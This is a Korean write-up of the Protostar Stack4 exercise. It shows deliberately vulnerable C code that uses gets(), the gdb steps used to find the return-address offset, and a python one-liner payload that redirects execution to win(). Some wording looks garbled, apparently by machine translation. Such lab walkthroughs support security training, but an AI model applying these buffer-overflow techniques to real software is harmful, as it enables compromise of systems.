[Protostar] Stack4


(프로토스타) 스택4


#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
 printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
 char buffer(64);

 gets(buffer);
}

1. win() 함수와 main() 함수가 존재하며 win() 함수를 실행해야만 문제가 해결된다.

2. gets(buffer)가 길이를 확인하지 않았기 때문에

버퍼 오버 플로우발생하다

3. 메인함수에는 별도의 함수 실행부가 없습니다.

ret 부분을 win() 함수의 주소로 교체합니다.

스택으로 그려보면 다음과 같습니다.


[Protostar] Stack4 1


먼저 gdb로 main 함수를 보면 다음과 같습니다.


[Protostar] Stack4 2

win 함수의 주소를 확인해보면,


[Protostar] Stack4 3

0x80483f4입니다.

버퍼 64바이트 + sfp 4바이트RET에 win() 함수의 주소를 입력합니다.


[Protostar] Stack4 4

실패합니다.

버퍼와 sfp 사이 가짜의있기 때문에


[Protostar] Stack4 1

더미 값을 얻기 위해 gdb stack4에서

주요 기능에서 ret(0x0804841e)의 중단점베팅 후

입력 값은 A 64 BBBB CCCC DDDD EEEE FFFF GGGG HHHH IIII였습니다.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII


[Protostar] Stack4 6

나중에 $esp 값을 확인하면 값이 올바르게 입력되었는지 확인할 수 있습니다.


[Protostar] Stack4 7

FastTabs로 탭의 내용을 확인할 때,

esp는 0xbffff76c이고 해당 값은 0x45454545입니다.


[Protostar] Stack4 8

$esp 포인트 업 RET왜냐하면 이 부분은 win() 함수의 주소그냥 꽂아


[Protostar] Stack4 9

페이로드의 구조는 다음과 같습니다.

(python -c ‘print “A”*64+”BBBB”+”CCCC”+”DDDD”+”\xf4\x83\x04\x08″‘) | ./stack4

실행 결과:


[Protostar] Stack4 10